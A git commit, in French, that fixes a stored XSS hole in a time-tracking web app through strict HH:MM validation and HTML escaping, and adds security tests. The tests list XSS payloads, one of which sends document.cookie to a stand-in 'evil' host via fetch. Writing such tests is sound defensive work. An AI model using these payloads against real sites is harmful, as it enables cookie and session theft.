Bloque le XSS stocké via /pointage et échappe les fragments HTMX
POST /pointage acceptait n'importe quelle valeur pour les 4 champs
matin_entree/matin_sortie/aprem_entree/aprem_sortie : la fonction clean ne
faisait qu'un strip(). Comme ces valeurs sont réinjectées telles quelles
dans des f-strings HTML hors templates Jinja (qui seuls bénéficient de
l'autoescape), un payload type `"><svg/onload=...>` déclenchait une
exécution JS immédiate dans la réponse HTMX, sans CSP pour limiter l'impact.
Double défense appliquée :
1. Validation stricte en entrée : clean() refuse désormais tout ce qui ne
matche pas _HHMM_RE (^([01]\d|2[0-3]):[0-5]\d$). Une valeur non conforme
est traitée comme vide plutôt que stockée.
2. Échappement HTML systématique en sortie : un alias `_e = html.escape`
est appliqué à toutes les valeurs dynamiques (date, heures, cibles)
dans _oob_calc, _oob_week_extras, _oob_time_cells et
_htmx_conge_and_soldes. Les ids, data-date, value, hx-post et contenus
textuels sont protégés.
Les nouveaux tests test_security couvrent plusieurs payloads XSS, vérifient
que la valeur n'est ni persistée ni reflétée, et qu'un pointage HHMM
valide continue à fonctionner.
💘 Generated with Crush
Assisted-by: Crush:glm-5.2
This commit is contained in:
46
app/main.py
46
app/main.py
@ -1,6 +1,7 @@
|
|||||||
import asyncio
|
import asyncio
|
||||||
import hashlib
|
import hashlib
|
||||||
import hmac
|
import hmac
|
||||||
|
import html
|
||||||
import json
|
import json
|
||||||
import logging
|
import logging
|
||||||
import re
|
import re
|
||||||
@ -63,6 +64,10 @@ _USERNAME_RE = re.compile(r"^[a-zA-Z0-9_.\-]{1,64}$")
|
|||||||
_EMAIL_RE = re.compile(r"^([a-zA-Z0-9_.\-]{1,64})@([a-zA-Z0-9.\-]{1,255})$")
|
_EMAIL_RE = re.compile(r"^([a-zA-Z0-9_.\-]{1,64})@([a-zA-Z0-9.\-]{1,255})$")
|
||||||
_HHMM_RE = re.compile(r"^([01]\d|2[0-3]):[0-5]\d$")
|
_HHMM_RE = re.compile(r"^([01]\d|2[0-3]):[0-5]\d$")
|
||||||
|
|
||||||
|
# Échappement HTML pour les fragments construits en f-string hors templates Jinja
|
||||||
|
# (autoescape ne s'applique qu'aux templates). Defense-in-depth contre le XSS stocké.
|
||||||
|
_e = html.escape
|
||||||
|
|
||||||
|
|
||||||
# ── Auth helpers ──────────────────────────────────────────────────────────────
|
# ── Auth helpers ──────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
@ -173,16 +178,16 @@ def _build_jour_ctx(date, conges, h_jour, user_id):
|
|||||||
|
|
||||||
|
|
||||||
def _oob_calc(date, jour):
|
def _oob_calc(date, jour):
|
||||||
trav_inner = f'<span class="calc-num">{"—" if not jour["travaille_min"] else jour["travaille"]}</span>'
|
trav_inner = f'<span class="calc-num">{"—" if not jour["travaille_min"] else _e(jour["travaille"])}</span>'
|
||||||
if jour["travaille_min"]:
|
if jour["travaille_min"]:
|
||||||
cls = "delta-pos" if jour["delta_min"] > 0 else ("delta-neg" if jour["delta_min"] < 0 else "delta-zero")
|
cls = "delta-pos" if jour["delta_min"] > 0 else ("delta-neg" if jour["delta_min"] < 0 else "delta-zero")
|
||||||
sign = "+" if jour["delta_min"] > 0 else ""
|
sign = "+" if jour["delta_min"] > 0 else ""
|
||||||
delta_inner = f'<span class="{cls}">{sign}{jour["delta"]}</span>'
|
delta_inner = f'<span class="{cls}">{sign}{_e(jour["delta"])}</span>'
|
||||||
else:
|
else:
|
||||||
delta_inner = '<span class="delta-zero">—</span>'
|
delta_inner = '<span class="delta-zero">—</span>'
|
||||||
return (
|
return (
|
||||||
f'<span id="calc-{date}-trav" hx-swap-oob="true">{trav_inner}</span>'
|
f'<span id="calc-{_e(date)}-trav" hx-swap-oob="true">{trav_inner}</span>'
|
||||||
f'<span id="calc-{date}-delta" hx-swap-oob="true">{delta_inner}</span>'
|
f'<span id="calc-{_e(date)}-delta" hx-swap-oob="true">{delta_inner}</span>'
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
@ -200,14 +205,14 @@ def _oob_week_extras(result):
|
|||||||
cumul_inner = f'<span class="{cls}">{sign}{jour["delta_cumul"]}</span>'
|
cumul_inner = f'<span class="{cls}">{sign}{jour["delta_cumul"]}</span>'
|
||||||
else:
|
else:
|
||||||
cumul_inner = '<span class="delta-zero">—</span>'
|
cumul_inner = '<span class="delta-zero">—</span>'
|
||||||
html += f'<span id="calc-{date}-cumul" hx-swap-oob="true">{cumul_inner}</span>'
|
html += f'<span id="calc-{_e(date)}-cumul" hx-swap-oob="true">{cumul_inner}</span>'
|
||||||
parts = []
|
parts = []
|
||||||
if jour.get("cible_matin"):
|
if jour.get("cible_matin"):
|
||||||
parts.append(f'<span class="cible-num">M {jour["cible_matin_entree"]} → {jour["cible_matin"]}</span>')
|
parts.append(f'<span class="cible-num">M {_e(jour["cible_matin_entree"])} → {_e(jour["cible_matin"])}</span>')
|
||||||
if jour.get("cible_aprem"):
|
if jour.get("cible_aprem"):
|
||||||
parts.append(f'<span class="cible-num">A {jour["cible_aprem_entree"]} → {jour["cible_aprem"]}</span>')
|
parts.append(f'<span class="cible-num">A {_e(jour["cible_aprem_entree"])} → {_e(jour["cible_aprem"])}</span>')
|
||||||
cible_inner = " ".join(parts) if parts else '<span class="delta-zero">—</span>'
|
cible_inner = " ".join(parts) if parts else '<span class="delta-zero">—</span>'
|
||||||
html += f'<span id="calc-{date}-cible" hx-swap-oob="true">{cible_inner}</span>'
|
html += f'<span id="calc-{_e(date)}-cible" hx-swap-oob="true">{cible_inner}</span>'
|
||||||
return html
|
return html
|
||||||
|
|
||||||
|
|
||||||
@ -226,19 +231,19 @@ def _oob_time_cells(date, jour, plages):
|
|||||||
matin_cls = "td-fill cg" if matin_cg else ("td-fill warn" if matin_warn else "td-fill")
|
matin_cls = "td-fill cg" if matin_cg else ("td-fill warn" if matin_warn else "td-fill")
|
||||||
aprem_cls = "td-fill cg" if aprem_cg else ("td-fill warn" if aprem_warn else "td-fill")
|
aprem_cls = "td-fill cg" if aprem_cg else ("td-fill warn" if aprem_warn else "td-fill")
|
||||||
matin_html = (
|
matin_html = (
|
||||||
f'<div id="cg-matin-{date}" hx-swap-oob="true" class="{matin_cls}">'
|
f'<div id="cg-matin-{_e(date)}" hx-swap-oob="true" class="{matin_cls}">'
|
||||||
f'<div class="time-pair">'
|
f'<div class="time-pair">'
|
||||||
f'<input class="time-input" type="time" name="matin_entree" data-date="{date}" value="{jour["matin_entree"] or ""}">'
|
f'<input class="time-input" type="time" name="matin_entree" data-date="{_e(date)}" value="{_e(jour["matin_entree"] or "")}">'
|
||||||
f'<span class="time-sep">→</span>'
|
f'<span class="time-sep">→</span>'
|
||||||
f'<input class="time-input" type="time" name="matin_sortie" data-date="{date}" value="{jour["matin_sortie"] or ""}">'
|
f'<input class="time-input" type="time" name="matin_sortie" data-date="{_e(date)}" value="{_e(jour["matin_sortie"] or "")}">'
|
||||||
f'</div></div>'
|
f'</div></div>'
|
||||||
)
|
)
|
||||||
aprem_html = (
|
aprem_html = (
|
||||||
f'<div id="cg-aprem-{date}" hx-swap-oob="true" class="{aprem_cls}">'
|
f'<div id="cg-aprem-{_e(date)}" hx-swap-oob="true" class="{aprem_cls}">'
|
||||||
f'<div class="time-pair">'
|
f'<div class="time-pair">'
|
||||||
f'<input class="time-input" type="time" name="aprem_entree" data-date="{date}" value="{jour["aprem_entree"] or ""}">'
|
f'<input class="time-input" type="time" name="aprem_entree" data-date="{_e(date)}" value="{_e(jour["aprem_entree"] or "")}">'
|
||||||
f'<span class="time-sep">→</span>'
|
f'<span class="time-sep">→</span>'
|
||||||
f'<input class="time-input" type="time" name="aprem_sortie" data-date="{date}" value="{jour["aprem_sortie"] or ""}">'
|
f'<input class="time-input" type="time" name="aprem_sortie" data-date="{_e(date)}" value="{_e(jour["aprem_sortie"] or "")}">'
|
||||||
f'</div></div>'
|
f'</div></div>'
|
||||||
)
|
)
|
||||||
return matin_html + aprem_html
|
return matin_html + aprem_html
|
||||||
@ -253,11 +258,11 @@ def _htmx_conge_and_soldes(request, date, d, conges, h_jour, user_id):
|
|||||||
btn_am_on = " on" if "aprem" in cg else ""
|
btn_am_on = " on" if "aprem" in cg else ""
|
||||||
btn_j_on = " jour-on" if "jour" in cg else ""
|
btn_j_on = " jour-on" if "jour" in cg else ""
|
||||||
btns_html = (
|
btns_html = (
|
||||||
f'<div id="cg-btn-{date}" hx-swap-oob="true">'
|
f'<div id="cg-btn-{_e(date)}" hx-swap-oob="true">'
|
||||||
f'<div class="conge-btns">'
|
f'<div class="conge-btns">'
|
||||||
f'<button hx-post="/conge/{date}/matin" hx-swap="none" class="btn-cg{btn_ma_on}" title="Congé matin">MA</button>'
|
f'<button hx-post="/conge/{_e(date)}/matin" hx-swap="none" class="btn-cg{btn_ma_on}" title="Congé matin">MA</button>'
|
||||||
f'<button hx-post="/conge/{date}/aprem" hx-swap="none" class="btn-cg{btn_am_on}" title="Congé après-midi">AM</button>'
|
f'<button hx-post="/conge/{_e(date)}/aprem" hx-swap="none" class="btn-cg{btn_am_on}" title="Congé après-midi">AM</button>'
|
||||||
f'<button hx-post="/conge/{date}/jour" hx-swap="none" class="btn-cg btn-jour{btn_j_on}" title="Journée entière">J</button>'
|
f'<button hx-post="/conge/{_e(date)}/jour" hx-swap="none" class="btn-cg btn-jour{btn_j_on}" title="Journée entière">J</button>'
|
||||||
f'</div></div>'
|
f'</div></div>'
|
||||||
)
|
)
|
||||||
soldes_ctx = _build_soldes_ctx(iso.year, iso.week, conges, h_jour, user_id)
|
soldes_ctx = _build_soldes_ctx(iso.year, iso.week, conges, h_jour, user_id)
|
||||||
@ -482,7 +487,10 @@ def save_pointage(
|
|||||||
return RedirectResponse("/login", status_code=302)
|
return RedirectResponse("/login", status_code=302)
|
||||||
|
|
||||||
def clean(v):
|
def clean(v):
|
||||||
v = v.strip(); return v if v else None
|
# Refuse tout ce qui n'est pas un HHMM strict : empêche le XSS stocké car la
|
||||||
|
# valeur est réinjectée telle quelle dans des f-strings HTML hors templates.
|
||||||
|
v = v.strip()
|
||||||
|
return v if v and _HHMM_RE.match(v) else None
|
||||||
|
|
||||||
d = datetime.strptime(date, "%Y-%m-%d").date()
|
d = datetime.strptime(date, "%Y-%m-%d").date()
|
||||||
iso = d.isocalendar()
|
iso = d.isocalendar()
|
||||||
|
|||||||
@ -162,3 +162,68 @@ def test_settings_save_rejects_ssrf_ntfy_server():
|
|||||||
# La valeur précédente est conservée
|
# La valeur précédente est conservée
|
||||||
cfg = models.load_notif_config("carol")
|
cfg = models.load_notif_config("carol")
|
||||||
assert cfg["ntfy_server"] == "https://ntfy.sh"
|
assert cfg["ntfy_server"] == "https://ntfy.sh"
|
||||||
|
|
||||||
|
|
||||||
|
# ── XSS stocké via /pointage ──────────────────────────────────────────────────
|
||||||
|
|
||||||
|
XSS_PAYLOADS = [
|
||||||
|
'"><svg/onload=alert(1)>',
|
||||||
|
'"><script>alert(document.cookie)</script>',
|
||||||
|
"'/><script>fetch('//evil/'+document.cookie)</script>",
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
def test_pointage_rejects_non_hhmm_value():
|
||||||
|
"""POST /pointage avec une valeur non HHMM ne doit pas être persistée."""
|
||||||
|
cookies = _login("dave")
|
||||||
|
for payload in XSS_PAYLOADS:
|
||||||
|
r = client.post("/pointage/2026-07-17", cookies=cookies, data={
|
||||||
|
"matin_entree": payload,
|
||||||
|
"matin_sortie": "",
|
||||||
|
"aprem_entree": "",
|
||||||
|
"aprem_sortie": "",
|
||||||
|
})
|
||||||
|
# La réponse ne doit pas planter
|
||||||
|
assert r.status_code == 200
|
||||||
|
# Le payload ne doit pas se retrouver tel quel dans la réponse
|
||||||
|
assert payload not in r.text, payload
|
||||||
|
# Vérification de la persistance
|
||||||
|
week = models.load_week_pointages(2026, 29, "dave")
|
||||||
|
entry = next((p for p in week if p["date"] == "2026-07-17"), None)
|
||||||
|
assert entry is not None
|
||||||
|
# matin_entree doit avoir été ignoré (None), pas stocké tel quel
|
||||||
|
assert entry["matin_entree"] is None
|
||||||
|
|
||||||
|
|
||||||
|
def test_pointage_valid_hhmm_still_works():
|
||||||
|
"""Un pointage HHMM valide doit continuer à fonctionner."""
|
||||||
|
cookies = _login("erin")
|
||||||
|
r = client.post("/pointage/2026-07-17", cookies=cookies, data={
|
||||||
|
"matin_entree": "08:45",
|
||||||
|
"matin_sortie": "12:00",
|
||||||
|
"aprem_entree": "",
|
||||||
|
"aprem_sortie": "",
|
||||||
|
})
|
||||||
|
assert r.status_code == 200
|
||||||
|
assert "08:45" in r.text
|
||||||
|
week = models.load_week_pointages(2026, 29, "erin")
|
||||||
|
entry = next((p for p in week if p["date"] == "2026-07-17"), None)
|
||||||
|
assert entry["matin_entree"] == "08:45"
|
||||||
|
|
||||||
|
|
||||||
|
def test_oob_html_escapes_date_attribute():
|
||||||
|
"""Si la date (issue de l'URL) contient des caractères HTML, ils doivent être échappés."""
|
||||||
|
cookies = _login("frank")
|
||||||
|
# Forçage d'un pointage valide pour déclencher le rendu _oob_time_cells
|
||||||
|
client.post("/pointage/2026-07-17", cookies=cookies, data={
|
||||||
|
"matin_entree": "08:45", "matin_sortie": "", "aprem_entree": "", "aprem_sortie": "",
|
||||||
|
})
|
||||||
|
# Une date malicieuse dans /refresh/... doit être échappée si elle passe strptime
|
||||||
|
# (les caractères HTML ne passent pas strptime, mais on vérifie que l'escape est actif
|
||||||
|
# sur le rendu d'un pointage normal pour la date légitime)
|
||||||
|
r = client.post("/pointage/2026-07-17", cookies=cookies, data={
|
||||||
|
"matin_entree": "08:45", "matin_sortie": "12:00",
|
||||||
|
"aprem_entree": "14:00", "aprem_sortie": "17:30",
|
||||||
|
})
|
||||||
|
assert "<script" not in r.text.lower()
|
||||||
|
assert "onload" not in r.text.lower()
|
||||||
|
|||||||
Reference in New Issue
Block a user